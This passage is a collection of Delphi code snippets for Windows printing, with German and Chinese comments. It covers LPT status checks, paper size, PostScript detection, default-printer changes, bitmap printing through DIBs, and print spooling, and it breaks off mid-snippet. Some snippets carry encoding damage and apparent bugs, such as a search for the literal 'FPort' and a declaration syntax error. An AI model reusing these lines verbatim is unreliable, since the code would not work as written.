PRINTER_STATUS_PENDING_DELETION
PRINTER_STATUS_PRINTING
PRINTER_STATUS_PROCESSING
PRINTER_STATUS_TONER_LOW
PRINTER_STATUS_UNAVAILABLE
PRINTER_STATUS_USER_INTERVENTION
PRINTER_STATUS_WAITING
PRINTER_STATUS_WARMING_UP
//////////////////////////////////////////////////////////////////
unit PrinterStatus;

interface

uses
Windows, Messages, WinProcs, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

// TPrinterstatus
// Komponente zum Abfragen des aktuellen Druckerportstatus
// Programmiert 2000 von K. Otto
// funktioniert unter Win 9x, jedoch nicht unter Win NT
// ---------------------------------
// Status: Freeware incl. Sourcecode
// ---------------------------------
// Diese Komponente beruht auf einem Beitrag von Robert Vivrette
// f黵 "The unofficial Newsletter of Delphi Users"
// http://www.undu.com/articles/990228a.html

type
TPrinterStatus = class(TComponent)
private
{ Private-Deklarationen }
fStatus : Byte;
fLPT : Integer;
Function GetTimeOut : Boolean;
Function GetIOError : Boolean;
Function GetPrinterSelected : Boolean;
Function GetOutOfPaper : Boolean;
Function GetAcknowledgement : Boolean;
Function GetPrinterBusy : Boolean;
protected
{ Protected-Deklarationen }
public
{ Public-Deklarationen }
Procedure CheckPrinterStatus; // Liest den Druckerstatus der angegeben LPT-Schnittstelle
Constructor Create(AOwner : TComponent); Override;
Property TimeOut : Boolean Read GetTimeOut;
Property IOError : Boolean Read GetIOError;
Property PrinterSelected : Boolean Read GetPrinterSelected;
Property OutOfPaper : Boolean Read GetOutOfPaper;
Property Acknowledgement : Boolean Read GetAcknowledgement;
Property Busy : Boolean Read GetPrinterBusy;
published
{ Published-Deklarationen }
Property LPT : Integer Read fLPT Write fLPT;
end;

procedure Register;

implementation

procedure Register;
begin
RegisterComponents('Eigene', [TPrinterStatus]);
end;

Function TPrinterStatus.GetTimeOut :
Boolean;
Begin
Result:=(fStatus and
$01)=$01;
End;

Function TPrinterStatus.GetIOError :
Boolean;
Begin
Result:=(fStatus and
$08)=$08;
End;

Function TPrinterStatus.GetPrinterSelected :
Boolean;
Begin
Result:=(fStatus and
$10)=$10;
End;

Function TPrinterStatus.GetOutOfPaper :
Boolean;
Begin
Result:=(fStatus and
$20)=$20;
End;

Function TPrinterStatus.GetAcknowledgement :
Boolean;
Begin
Result:=(fStatus and
$40)=$40;
End;

Function TPrinterStatus.GetPrinterBusy :
Boolean;
Begin
Result:=not ((fStatus and
$80)=$80);
End;

Procedure TPrinterStatus.CheckPrinterStatus;
Var
Status :
Byte;
CheckLPT : Word;
Begin
Status:=0;
If (fLPT>=1) and (fLPT<=3)
Then
Begin
CheckLPT:=fLPT-1;
asm
mov
dx,CheckLPT;
mov al,0;
mov ah,2;
int 17h;
mov &Status, ah;
End;
End;
fStatus:=Status;
End;

Constructor TPrinterStatus.Create(AOwner :
TComponent);
Begin
Inherited
Create(AOwner);
fLPT:=1;
fStatus:=0;
End;

end.
//////////////////////////////////////////////////////
用法:

if not PrinterStatus1.PrinterReady(0) then //0 = current printerport
ShowMessage(PrinterStatus1.StatusMsg) else {print print print} ;

unit PrinterStatus;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type
TPrinterStatus = class(TComponent)
private
{ Private declarations }
FPort : Word;
FStatusStr : string;
protected
{ Protected declarations }
public
{ Public declarations }
function PrinterReady(LPT: Word): boolean;
published
{ Published declarations }
property StatusMsg: string read FStatusStr;
end;

procedure Register;

implementation
uses Printers;

procedure Register;
begin
RegisterComponents('Win95', [TPrinterStatus]);
end;

const
PrnReady = $90;
OffLine = $00;
OffLine2 = $10; {NEW LINE}
PaperOut = $20;
PaperOut2 = $30; {NEW LINE}
HookedButOff = $80; {NEW LINE}
NoConnect = $B0; {MODIFIED LINE}

{NOCONNECT = $30 FOR SOME COMPUTERS BY STU}

function TPrinterStatus.PrinterReady(LPT: Word): boolean;
var
ErrorCode, C : BYTE;
code, x : integer;
s : string;

function GetPrinterStatus (LPT: Word): Byte;
{Pass 1 in LPT for LPT1}
begin
asm
mov ah,2
mov dx,LPT
dec dx
int $17
mov @Result,ah
end;
end; {GetPrinterStatus}

begin
result := false; //assume not

 FPort := LPT;
if FPort = 0 then begin  {if no port
specified then try to set port to current
printer port}
{printer name}
s :=
Printer.Printers[Printer.PrinterIndex];
if Pos('FPort',s)
<> 0 then begin
s := Copy(s, Pos('FPort',s)
+3, 1);
Val(s,x,code);
if code <> 0 then FPort := 1 else FPort := x;
end else
FPort := 1;  {default to LPT1}
end;

{valid LPT is 1..4}
if (FPort > 4) or (FPort < 1) then begin
raise ERangeError.CreateFmt(
'LPT%d is not within the valid range of %d..%d',
[FPort, 1, 4]);
exit;
end;

ErrorCode := GetPrinterStatus(FPort);

ErrorCode := ErrorCode and $B0; {NEW LINE}

C := ERRORCODE shl 6; {ALWAYS MEANS NOTHING CONNECTED}

if C > 0 then ERRORCODE := $B0; {ELEMINATES NO LPT3 AND NOTHING CONNECTED}

case ErrorCode of
PrnReady : begin FStatusStr := 'Printer Ready'; result := true;
end;
NoConnect : FStatusStr := 'Printer not connected';
Offline,OffLine2 : FStatusStr := 'Printer off line'; {Modified}
PaperOut,PaperOut2 : FStatusStr := 'Printer out of paper'; {Modified}
HookedButOff : FStatusStr := 'Printer connected but turned off'; {New}
else
FStatusStr := 'Printer error code: ' + IntToStr(ErrorCode);
end;

end;


打印时改变纸张大小

在执行打印前调用以下函数：
procedure SetPaperSize(X, Y: Integer);
// 单位是0.1mm
// A4时 Printer.Pagewidth:=1440； A5时 Printer.Pagewidth:=1049；
// B5时 Printer.Pagewidth:=1290； 16K时 Printer.Pagewidth:=1035；
// lq1600宽行打印机这个值宽度最大为42cm左右, 长度大约2m。
//改变devicemode结构
var
Device: array[0..255] of char;
Driver: array[0..255] of char;
Port: array[0..255] of char;
hDMode: THandle;
PDMode: PDEVMODE;
begin
Printer.PrinterIndex := Printer.PrinterIndex;
Printer.GetPrinter(Device, Driver, Port, hDMode);
if hDMode <> 0 then
begin
pDMode := GlobalLock(hDMode);
if pDMode <> nil then
begin
if (x = 0) or (y = 0) then
begin
{Set to legal}
pDMode^.dmFields := pDMode^.dmFields or dm_PaperSize;
{pDMode^.dmPaperSize := DMPAPER_LEGAL; changed by wulianmin}
pDMode^.dmPaperSize := DMPAPER_FANFOLD_US;
end
else
begin
{Set to custom size}
pDMode^.dmFields := pDMode^.dmFields or
DM_PAPERSIZE or
DM_PAPERWIDTH or
DM_PAPERLENGTH;
pDMode^.dmPaperSize := DMPAPER_USER;
pDMode^.dmPaperWidth := x {SomeValueInTenthsOfAMillimeter};
pDMode^.dmPaperLength := y {SomeValueInTenthsOfAMillimeter};
end;
{设定纸张来源}
pDMode^.dmFields := pDMode^.dmFields or DMBIN_MANUAL;
pDMode^.dmDefaultSource := DMBIN_MANUAL;

      GlobalUnlock(hDMode);
end;
end;
Printer.PrinterIndex :=
Printer.PrinterIndex;
//以下开始打印
Printer.BeginDoc;
Printer.Canvas.TextOut(100,100, 'Test 1');
Printer.EndDoc;
end;


判断打印机能否打印PostScript

uses Printers;

function IsPostScriptPrinter(dc : hdc) : bool;
var
TestInt : integer;
a : array[0..255] of char;
err : integer;
s : string;
begin
Result := false;
TestInt := GETTECHNOLOGY;
{$IFDEF WIN32}
if ExtEscape(Dc,
QUERYESCSUPPORT,
sizeof(TestInt),
@TestInt,
0,
Nil) > 0 then begin
Err := ExtEscape(Dc,
GETTECHNOLOGY,
0,
nil,
256,
@a);
{$ELSE}
if Escape(Dc,
QUERYESCSUPPORT,
sizeof(TestInt),
@TestInt,
Nil) > 0 then begin
Err := Escape(Dc,
GetTechnology,
0,
nil,
@a);
{$ENDIF}
if Err > 0 then begin
s := UpperCase(StrPas(a));
if Pos('POSTSCRIPT', s) > 0 then
result := true;
end;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if PrintDialog1.Execute then
if IsPostScriptPrinter(Printer.Handle) then
ShowMessage('This is a Postscript Printer') else
ShowMessage('This is not a Postscript Printer');
end;


改变缺省打印机

procedure TForm1.Button1Click(Sender: TObject);
var
WinIni : TIniFile;
WinIniFileName : array[0..MAX_PATH] of char;
s : array[0..64] of char;

begin
GetWindowsDirectory(WinIniFileName, sizeof(WinIniFileName));
StrCat(WinIniFileName, '\win.ini');
WinIni := TIniFile.Create(WinIniFileName);
try
WinIni.WriteString('windows',
'device',
'HP LaserJet Series II,HPPCL,LPT1:');
finally
WinIni.Free;
end;

StrCopy(S, 'windows');
SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, LongInt(@S));
end;


获取打印驱动、端口名

uses Printers;

{$IFNDEF WIN32}
const MAX_PATH = 144;
{$ENDIF}

procedure TForm1.Button1Click(Sender: TObject);
var
pDevice :
pChar;
pDriver : pChar;
pPort   : pChar;
hDMode : THandle;
begin
if PrintDialog1.Execute then
begin
GetMem(pDevice,
cchDeviceName);
GetMem(pDriver,
MAX_PATH);
GetMem(pPort, MAX_PATH);
Printer.GetPrinter(pDevice, pDriver, pPort, hDMode);
if
lStrLen(pDriver) = 0 then begin
GetProfileString('Devices', pDevice, '', pDriver,
MAX_PATH);
pDriver[pos(',', pDriver) - 1] :=
#0;
end;
if lStrLen(pPort) = 0 then
begin
GetProfileString('Devices', pDevice, '',
pPort, MAX_PATH);
lStrCpy(pPort,
@pPort[lStrLen(pPort)+2]);
end;
Memo1.Lines.Add('Device := ' + StrPas(pDevice));
Memo1.Lines.Add('Driver := ' + StrPas(pDriver));
Memo1.Lines.Add('Port := ' + StrPas(pPort));
FreeMem(pDevice, cchDeviceName);
FreeMem(pDriver,
MAX_PATH);
FreeMem(pPort, MAX_PATH);
end;
end;


图像打印非法操作和图像缺漏解决

程序设计和运行环境:

1. Win98+Delphi4+打印机(HP LaserJet 6l PCL,可在添加打印机中选择HP公司
然后选择HP LaserJet 6l PCL型号).

2. Win2000上非法操作没问题,图像漏缺没试过, Win98环境下两者都有问题.

非法操作打印例子:

var
Bmp:TBitmap;
begin
Bmp:=TBitmap.Create;
Bmp.LoadFromFile('c:\windows\安装程序.bmp');
Printer.BeginDoc;
Printer.Canvas.StretchDraw(0,0,Bmp.Width*3,Bmp.Height*3);
Printer.Canvas.StretchDraw((Bmp.Width+10)*3,(Bmp.Height+10)*3,(2*Bmp.Width+10)*3,(2*Bmp.Height+10)*3);
Printer.EndDoc;
Bmp.Free;
end;

图像漏缺打印例子：

var
Bmp:TBitmap;
begin

Printer.BeginDoc;
Bmp:=TBitmap.Create;
Bmp.LoadFromFile('c:\windows\安装程序.bmp');
Printer.Canvas.StretchDraw(0,0,Bmp.Width*3,Bmp.Height*3);
bmp.Free;
Bmp:=TBitmap.Create;
Bmp.LoadFromFile('c:\windows\安装程序.bmp');
Printer.Canvas.StretchDraw((Bmp.Width+10)*3,(Bmp.Height+10)*3,(2*Bmp.Width+10)*3,(2*Bmp.Height+10)*3);
Bmp.Free;
Printer.EndDoc;
end;

错误信息详细描述:

调试环境最好是安装上上述类型的打印机.

图像打印非法操作：

打印一下和多下，有可能出现程序出错，继而出现非法操作的现象，也可能是直接出现非法操作。

图像漏缺现象:
调试时多打印几下(20下)打开打印队列看看,打印内容的大小(网络打印机才能看
见),如果大小不一就表示有一些打印任务中一些内容打印不出来，往往是内容比较小
的打印任务.如果不漏，你再在不同的位置多打印几张试试。

注意：
每在打印画布上画一次释放一次，能大大减少非法操作的出现频率。（我试了
6天出现一次），但是不能解决图像漏缺的现象。

  下面是我翻译（很臭）的一段话，中间加进了一部分我的理解和经验。

在Delphi中发送一个图像到打印机是一个无效的操作,
往往导致打印失败,其表现为:打印时会出现程序错误或非
法操作,还可能会出现打印多张图片时出现漏打一副或多幅.
这种情况发生的几率比较大.要避免这种情况, 利用Delphi
的VCL Canvas Draw, StretchDraw,CopyRect, BrushCopy,
几乎解决不了问题, 除非打印机驱动程序中已经有监测和处
理该错误的功能.
唯一正确的打印图像的方法是利用DIBs(Device Indep-
endent Bitmaps).但是获取一个有效的DIB是非常困难的,
许多Windows API打印函数必须正确使用,否则许多显示
驱动程序不能正确填充DIB结构.

下面的程序示范尽量克服上述的一些问题和限制, 下面的
的程序在Delphi/C++ Builder能够编译成功.

核心函数BltTBitmapAsDib的解释:

  例子中的核心函数是BltTBitmapAsDib(DestDc : hdc;
x : word;
y :
word;
Width :
word;
Height :
word;
bm : TBitmap);
DestDc: 是一个打印画布设备句柄(如:Printer.Canvas.Handle);
x:
图像显示的横坐标;
y:  图像显示的竖坐标;
Width: 图像显示的宽度(不一定是实际宽度,能够缩放);
Height:
图像显示的长度(不一定是实际长度,能够缩放);
bm: 要显示的图像.

下面是BltTBitmapAsDib()函数的实现:

uses Printers;

type
PPalEntriesArray = ^TPalEntriesArray; {for palette
re-construction}
TPalEntriesArray = array[0..0] of TPaletteEntry;

procedure BltTBitmapAsDib(DestDc : hdc; {Handle of where to blt}
x : word;
{Bit at x}
y : word; {Blt at y}
Width : word; {Width to stretch}
Height
: word; {Height to stretch}
bm : TBitmap); {the TBitmap to
Blt}
var
OriginalWidth :LongInt; {width of BM}
dc : hdc; {screen
dc}
IsPaletteDevice : bool; {if the device uses
palettes}
IsDestPaletteDevice : bool; {if the device uses
palettes}
BitmapInfoSize : integer; {sizeof the
bitmapinfoheader}
lpBitmapInfo : PBitmapInfo; {the bitmap info header}
hBm
: hBitmap; {handle to the bitmap}
hPal : hPalette; {handle to the
palette}
OldPal : hPalette; {temp palette}
hBits : THandle; {handle to the
DIB bits}
pBits : pointer; {pointer to the DIB bits}
lPPalEntriesArray :
PPalEntriesArray; {palette entry array}
NumPalEntries : integer; {number of
palette entries}
i : integer; {looping variable}
begin
{If range
checking is on - lets turn it off for now}
{we will remember if range
checking was on by defining}
{a define called CKRANGE if range checking is
on.}
{We do this to access array members past the arrays}
{defined index
range without causing a range check}
{error at runtime. To satisfy the
compiler, we must}
{also access the indexes with a variable. ie: if
we}
{have an array defined as a: array[0..0] of byte,}
{and an integer i,
we can now access a[3] by setting}
{i := 3; and then accessing a[i] without
error}
{$IFOPT R+}
{$DEFINE CKRANGE}
{$R-}
{$ENDIF}

{Save the original width of the bitmap}
OriginalWidth := bm.Width;

{Get the screen's dc to use since memory dc's are not reliable}
dc := GetDc(0);
{Are we a palette device?}
IsPaletteDevice :=
GetDeviceCaps(dc, RASTERCAPS) and RC_PALETTE = RC_PALETTE;
{Give back the screen dc}
dc := ReleaseDc(0, dc);

{Allocate the BitmapInfo structure}
if IsPaletteDevice then
BitmapInfoSize := sizeof(TBitmapInfo) + (sizeof(TRGBQUAD) * 255)
else
BitmapInfoSize := sizeof(TBitmapInfo);
GetMem(lpBitmapInfo, BitmapInfoSize);

{Zero out the BitmapInfo structure}
FillChar(lpBitmapInfo^, BitmapInfoSize, #0);

{Fill in the BitmapInfo structure}
lpBitmapInfo^.bmiHeader.biSize := sizeof(TBitmapInfoHeader);
lpBitmapInfo^.bmiHeader.biWidth := OriginalWidth;
lpBitmapInfo^.bmiHeader.biHeight := bm.Height;
lpBitmapInfo^.bmiHeader.biPlanes := 1;
if IsPaletteDevice then
lpBitmapInfo^.bmiHeader.biBitCount := 8
else
lpBitmapInfo^.bmiHeader.biBitCount := 24;
lpBitmapInfo^.bmiHeader.biCompression := BI_RGB;
lpBitmapInfo^.bmiHeader.biSizeImage :=
((lpBitmapInfo^.bmiHeader.biWidth *
longint(lpBitmapInfo^.bmiHeader.biBitCount)) div 8) *
lpBitmapInfo^.bmiHeader.biHeight;
lpBitmapInfo^.bmiHeader.biXPelsPerMeter := 0;
lpBitmapInfo^.bmiHeader.biYPelsPerMeter := 0;
if IsPaletteDevice then begin
lpBitmapInfo^.bmiHeader.biClrUsed := 256;
lpBitmapInfo^.bmiHeader.biClrImportant := 256;
end else begin
lpBitmapInfo^.bmiHeader.biClrUsed := 0;
lpBitmapInfo^.bmiHeader.biClrImportant := 0;
end;

{Take ownership of the bitmap handle and palette}
hBm := bm.ReleaseHandle;
hPal := bm.ReleasePalette;

{Get the screen's dc to use since memory dc's are not reliable}
dc := GetDc(0);

if IsPaletteDevice then begin
{If we are using a palette, it must be}
{selected into the dc during the conversion}
OldPal := SelectPalette(dc, hPal, TRUE);
{Realize the palette}
RealizePalette(dc);
end;
{Tell GetDiBits to fill in the rest of the bitmap info structure}
GetDiBits(dc,
hBm,
0,
lpBitmapInfo^.bmiHeader.biHeight,
nil,
TBitmapInfo(lpBitmapInfo^),
DIB_RGB_COLORS);

{Allocate memory for the Bits}
hBits := GlobalAlloc(GMEM_MOVEABLE,
lpBitmapInfo^.bmiHeader.biSizeImage);
pBits := GlobalLock(hBits);
{Get the bits}
GetDiBits(dc,
hBm,
0,
lpBitmapInfo^.bmiHeader.biHeight,
pBits,
TBitmapInfo(lpBitmapInfo^),
DIB_RGB_COLORS);

if IsPaletteDevice then begin
{Lets fix up the color table for buggy video drivers}
GetMem(lPPalEntriesArray, sizeof(TPaletteEntry) * 256);
{$IFDEF VER100}
NumPalEntries := GetPaletteEntries(hPal,
0,
256,
lPPalEntriesArray^);
{$ELSE}
NumPalEntries := GetSystemPaletteEntries(dc,
0,
256,
lPPalEntriesArray^);
{$ENDIF}
for i := 0 to (NumPalEntries - 1) do begin
lpBitmapInfo^.bmiColors[i].rgbRed :=
lPPalEntriesArray^[i].peRed;
lpBitmapInfo^.bmiColors[i].rgbGreen :=
lPPalEntriesArray^[i].peGreen;
lpBitmapInfo^.bmiColors[i].rgbBlue :=
lPPalEntriesArray^[i].peBlue;
end;
FreeMem(lPPalEntriesArray, sizeof(TPaletteEntry) * 256);
end;

if IsPaletteDevice then begin
{Select the old palette back
in}
SelectPalette(dc, OldPal, TRUE);
{Realize the old
palette}
RealizePalette(dc);
end;

{Give back the screen dc}
dc := ReleaseDc(0, dc);

{Is the Dest dc a palette device?}
IsDestPaletteDevice :=
GetDeviceCaps(DestDc, RASTERCAPS) and RC_PALETTE = RC_PALETTE;

if IsPaletteDevice then begin
{If we are using a palette, it must
be}
{selected into the dc during the conversion}
OldPal :=
SelectPalette(DestDc, hPal, TRUE);
{Realize the
palette}
RealizePalette(DestDc);
end;

{Do the blt}
StretchDiBits(DestDc,
x,
y,
Width,
Height,
0,
0,
OriginalWidth,
lpBitmapInfo^.bmiHeader.biHeight,
pBits,
lpBitmapInfo^,
DIB_RGB_COLORS,
SrcCopy);

if IsDestPaletteDevice then begin
{Select the old palette back
in}
SelectPalette(DestDc, OldPal, TRUE);
{Realize the old
palette}
RealizePalette(DestDc);
end;

{De-Allocate the Dib Bits}
GlobalUnLock(hBits);
GlobalFree(hBits);

{De-Allocate the BitmapInfo}
FreeMem(lpBitmapInfo, BitmapInfoSize);

{Set the ownership of the bimap handles back to the bitmap}
bm.Handle := hBm;
bm.Palette := hPal;

{Turn range checking back on if it was on when we started}
{$IFDEF
CKRANGE}
{$UNDEF CKRANGE}
{$R+}
{$ENDIF}
end;

函数BltTBitmapAsDib()使用范例:
procedure TForm1.Button1Click(Sender: TObject);
begin
if PrintDialog1.Execute then begin
Printer.BeginDoc;
BltTBitmapAsDib(Printer.Canvas.Handle,
0,
0,
Image1.Picture.Bitmap.Width,
Image1.Picture.Bitmap.Height,
Image1.Picture.Bitmap);
Printer.EndDoc;
end;
end;


打印RTF文件

 shellExecute(mainForm.handle,
nil,
'write.exe',
'myfile.rtf /p',
nil,
SW_HIDE);


打印Word文档

uses ...ComObj...
var
WordApp : Variant;

begin
WordApp:=CreateOLEObject('Word.Application');
WordApp.Visible:=false; // it's the default, but in case you want to
display
// it you just set the Visible to true
WordApp.PrintOut(FileName:="c:\config.sys",
Range:=wdPrintAllDocument,
Item:=wdPrintDocumentContent, Copies:=1,
Pages:="",
PageType:=wdPrintAllPages, Collate:=True,
Background:=True,
PrintToFile:=False);  //print out the file
WordApp.Quit;
WordApp:=Unassigned;
end;


打印文件到非缺省打印机

 ShellExecute(NULL, "printto", szFilename, szPrinter, NULL, 0);


打印RichEdit中被选择的区域

Printing rich edit selection using EM_FORMATRANGE:

procedure TForm1.Button2Click(Sender: TObject);
Var
printarea: Trect;
richedit_outputarea: TRect;
printresX, printresY: Integer;
fmtRange: TFormatRange;
nextChar : Integer;
S: String;
Begin
Printer.beginDoc;
try
With Printer.Canvas Do Begin
printresX := GetDeviceCaps( handle, LOGPIXELSX );
printresY := GetDeviceCaps( handle, LOGPIXELSY );
printarea :=
Rect( printresX, // 1 inch left margin
printresY * 3 div 2, // 1.5 inch top margin
Printer.PageWidth - printresX, // 1 inch right margin
Printer.PageHeight - printresY * 3 div 2 // 1.5 inch bottom
margin
);

// Define a rectangle for the rich edit text. The height is set to the
// maximum. But we need to convert from device units to twips,
// 1 twip = 1/1440 inch or 1/20 point.
richedit_outputarea :=
Rect( printarea.left * 1440 div printresX,
printarea.top * 1440 div printresY,
printarea.right * 1440 div printresX,
printarea.bottom* 1440 div printresY );

// Tell rich edit to format its text to the printer. First set
// up data record for message:
fmtRange.hDC := Handle; // printer handle
fmtRange.hdcTarget := Handle; // ditto
fmtRange.rc := richedit_outputarea;
fmtRange.rcPage :=
Rect( 0, 0,
Printer.PageWidth * 1440 div printresX,
Printer.PageHeight * 1440 div printresY );

// set range of characters to print to selection
fmtRange.chrg.cpMin := richedit1.selstart;
fmtRange.chrg.cpMax := richedit1.selStart + richedit1.sellength -1;

// remove characters that need not be printed from end of selection.
// failing to do so screws up the repeat loop below.
S:= richedit1.SelText;
While (fmtRange.chrg.cpMax > 0 ) and
(S[fmtRange.chrg.cpMax] <= ' ')
Do Dec(fmtRange.chrg.cpMax);

Repeat
// Render the text
nextChar := richedit1.Perform( EM_FORMATRANGE, 1,
Longint(@fmtRange));
If nextchar < fmtRange.chrg.cpMax Then Begin
// more text to print
printer.newPage;
fmtRange.chrg.cpMin := nextChar;
End; { If }
Until nextchar >= fmtRange.chrg.cpMax;

      // Free cached
information
richedit1.Perform( EM_FORMATRANGE,
0, 0);
End;
finally
Printer.EndDoc;
end;
end;

The richedit1.perform( EM_FORMATRANGE call returns the index of the last
character that could be fitted into the passed fmtrange.rc, + 1. So if
multiple pages are required one repeats with fmtrange.chrg.cpMin set to
this value, until all characters have been printed.


打印StringGrid的内容

Procedure TACDListerMain.PrintTable;
Var
margins: TRect;
spacing: Integer;
Cols: TList;
Dlg: TPrintProgressDlg;

  Procedure SetColumnWidth;
Var
i, k, w: Integer;
Begin
Printer.Canvas.Font.Style := [ fsBold
];
For i := 0 To Pred( Grid.ColCount )
Do
Cols.Add( Pointer(
Printer.Canvas.TextWidth( Grid.Cells[ i,0 ] )));

Printer.Canvas.Font.Style := [];
For i := 1 To Pred( Grid.RowCount ) Do
For k := 0 To Pred( Grid.ColCount ) Do Begin
w:= Printer.Canvas.TextWidth( Grid.Cells[ k, i ] );
If w > Integer( Cols[ k ] ) Then
Cols[ k ] := Pointer( w );
End; { For }

w := 2 * Printer.Canvas.Font.PixelsPerInch div 3;
margins :=
Rect( w, w, Printer.PageWidth-w, Printer.PageHeight - w );
spacing := Printer.Canvas.Font.PixelsPerInch div 10;

w := 0;
For i := 0 To Pred(cols.Count) Do
w := w + Integer( cols[ i ] ) + spacing;
w := w - spacing;
If w > (margins.right-margins.left ) Then Begin
w := w - (margins.right-margins.left );
cols[ cols.Count-2 ] :=
Pointer( Integer( cols[ cols.Count-2 ] ) - w );
End; { If }

      w:= 0;
For i
:= 0 To Pred(cols.Count) Do
w := w
+ Integer( cols[ i ] ) + spacing;
margins.right := w - spacing + margins.left;
End; {
SetColumnWidth }

Procedure DoPrint;
Var
i: Integer;
y: Integer;
Procedure DoLine(lineno: Integer);
Var
x, n: Integer;
r: TRect;
th: Integer;
Begin
If Length(Grid.Cells[0,lineno]) = 0 Then Exit;

x:= margins.left;
With Printer.Canvas Do Begin
th := TextHeight( '膟' );
For n := 0 To Pred( Cols.Count ) Do Begin
r := Rect( 0, 0, Integer(Cols[ n ]), th);
OffsetRect( r, x, y );
TextRect( r, x, y, Grid.Cells[ n, lineno ] );
x := r.right + spacing;
End; { For }
End; { With }
y := y + th;
End; { DoLine }
Procedure DoHeader;
Begin
y:= margins.top;
With Printer.Canvas Do Begin
Font.Style := [ fsBold ];
DoLine( 0 );
Pen.Width := Font.PixelsPerInch div 72;
Pen.Color := clBlack;
MoveTo( margins.left, y );
LineTo( margins.right, y );
Inc( y, 2 * Pen.Width );
Font.Style := [ ];
End; { With }
End; { DoHeader }
Begin
y:= 0;
For i := 1 To Pred( Grid.RowCount ) Do Begin
Dlg.Progress( i );
Application.ProcessMessages;
If FPrintAborted Then Exit;

        If y = 0
Then
DoHeader;
DoLine( i
);
If y >= margins.bottom Then
Begin
Printer.NewPage;
y:=
0;
End; { If
}
End; { For }
End; {
DoPrint }

Begin
FPrintAborted := False;
Dlg := TPrintProgressDlg.Create( Application );
With Dlg Do
try
OnAbort := PrintAborted;
Display( cPrintPreparation );
SetProgressRange( 0, Grid.RowCount );
Show;
Application.ProcessMessages;
Printer.Orientation := poLandscape;

Printer.BeginDoc;
Cols:= Nil;
try
Cols:= TLIst.Create;
Printer.Canvas.Font.Assign( Grid.Font );
SetColumnWidth;
Display( cPrintProceeding );
Application.ProcessMessages;
DoPrint;
finally
Cols.Free;
If FPrintAborted Then
Printer.Abort
Else
Printer.EndDoc;
end;
finally
Close;
End; { With }
End; { TACDListerMain.PrintTable }


图象打印

procedure TForm1.Button1Click(Sender: TObject);
var
ScaleX, ScaleY: Integer;
R: TRect;

begin
Printer.BeginDoc; // **
with Printer do
try
ScaleX := GetDeviceCaps(Handle, logPixelsX) div PixelsPerInch;
ScaleY := GetDeviceCaps(Handle, logPixelsY) div PixelsPerInch;
R := Rect(0, 0, Image1.Picture.Width * ScaleX,
Image1.Picture.Height * ScaleY);
Canvas.StretchDraw(R, Image1.Picture.Graphic); // **
finally
EndDoc; // **
end;
end;


打印PRN文件

function SpoolFile(const FileName,PrinterName:String):Integer;
var
Buffer: record
JobInfo: record // ADDJOB_INFO_1
Path:PCHAR;
JobID:DWORD;
end;
PathBuffer:array[0..255] of char;
end;
SizeNeeded:DWORD;
Handle:THandle;
PrtName:String;
ok:Boolean;
begin
// Flush job to printer
PrtName:=PrinterName;
if PrtName='' then
PrtName:=Printer.Printers[Printer.PrinterIndex]; // Default printer name
ok:=false;
if OpenPrinter(PChar(PrtName),Handle,nil) then
if AddJob(Handle,1,@Buffer,SizeOf(Buffer),SizeNeeded) then
if CopyFile(PChar(FileName),Buffer.JobInfo.Path,true) then
if ScheduleJob(Handle,Buffer.JobInfo.JobID) then
ok:=true;
if not ok
then Result:=GetLastError
else Result:=0;
end;
//////////////////////////////////////////////////////////
var
PixelsPerInchX, PixelsPerInchY : Integer;
OffsetX, OffsetY : Integer; // Position of bitmap on the page
SizeX, SizeY ; Integer; // Bitmap width and height (2", 2")
PictRect : TRect;
FPicture : TPicture; // Picture to print
.
begin
.
PixelsPerInchX := GetDeviceCaps( Printer.Canvas.Handle, LOGPIXELSX);
PixelsPerInchY := GetDeviceCaps( Printer.Canvas.Handle, LOGPIXELSY);

  PictRect.Left := OffsetX*PixelsPerInchX;
PictRect.Top
:= OffsetY*PixelsPerInchY;
PictRect.Bottom := PictRect.Top +
SizeY*PixelsPerInchY;
PictRect.Right := PictRect.Left +
SizeX*PixelsPerInchX;

Printer.Canvas.StretchDraw( PictRect, FPicture.Graphic);


直接送文件到打印缓冲池打印

The below code will put your file in the spooler queue for you. Basically it
calls AddJob( which returns a spooler filename and a Job ID. You then write
your printer stuff to the file and call ScheduleJob( which releases it to the
spoooler. Look in Win32 for AddJob & ScheduleJob for some more info.

procedure TForm1.PrintToSpooler;
var
MemStrm : TMemoryStream;
PtrName : PChar;
Buffer : array[0..69] of char;
JobInfo : TAddJobInfo1A absolute Buffer;
cbNeeded : DWord;
hPrinter : THandle;
const
PortSuffix : PChar = ' on ';
begin
{get printer handle}
{ . . . get printer name}
GetMem(PtrName, 50);
StrPCopy(PtrName, Printer.Printers[Printer.PrinterIndex]);
StrPos(PtrName, PortSuffix)^ := #0; {remove port suffix from name}
{ . . . open printer to get the handle}
if not OpenPrinter(PtrName, hPrinter, nil) then
MessageDlg('Error Opening Printer : ' + IntToStr(GetLastError),mtError,
[mbOK], 0);
{get path for spooler file}
{returned path is placed after the TAddJobInfo structure}
JobInfo.Path := Buffer + SizeOf(TAddJobInfo1A);
if OpenDialog1.Execute then begin
if not AddJob(hPrinter, 1, @JobInfo, SizeOf(Buffer), cbNeeded) then
MessageDlg('Error : ' + IntToStr(GetLastError) + char(13)
+ 'Buffer : ' + IntToStr(cbNeeded) + '/' +
IntToStr(SizeOf(Buffer)),
mtError, [mbOK], 0);
{Copy a file to the spooler file}
MemStrm := TMemoryStream.Create;
with MemStrm do begin
LoadFromFile(OpenDialog1.FileName);
SaveToFile(string(JobInfo.Path));
Free;
end;
{schedule the print job}
if not ScheduleJob(hPrinter, JobInfo.JobID) then
MessageDlg('Error Scheduling Job : ' + IntToStr(GetLastError),mtError,
[mbOK], 0);
end;
ClosePrinter(hPrinter);
FreeMem(PtrName, 50);
end;


用API直接打印

uses CommDlg;

{$IFNDEF WIN32}
const MAX_PATH = 144;
{$ENDIF}

procedure TForm1.Button1Click(Sender: TObject);
var
Pd :
TPrintDlg;
DocInfo: TDocInfo;
begin
FillChar(Pd,
sizeof(Pd), #0);
Pd.lStructSize := sizeof(Pd);
Pd.hWndOwner
:= Form1.Handle;
Pd.Flags := PD_RETURNDC;
if PrintDlg(pd)
then begin
FillChar(DocInfo, sizeof(DocInfo),
#0);
DocInfo.cbSize :=
SizeOf(DocInfo);
GetMem(DocInfo.lpszDocName,
32);
GetMem(DocInfo.lpszOutput,
MAX_PATH);
lStrCpy(DocInfo.lpszDocName, 'My
Document');
{Add this line to print to a file
}
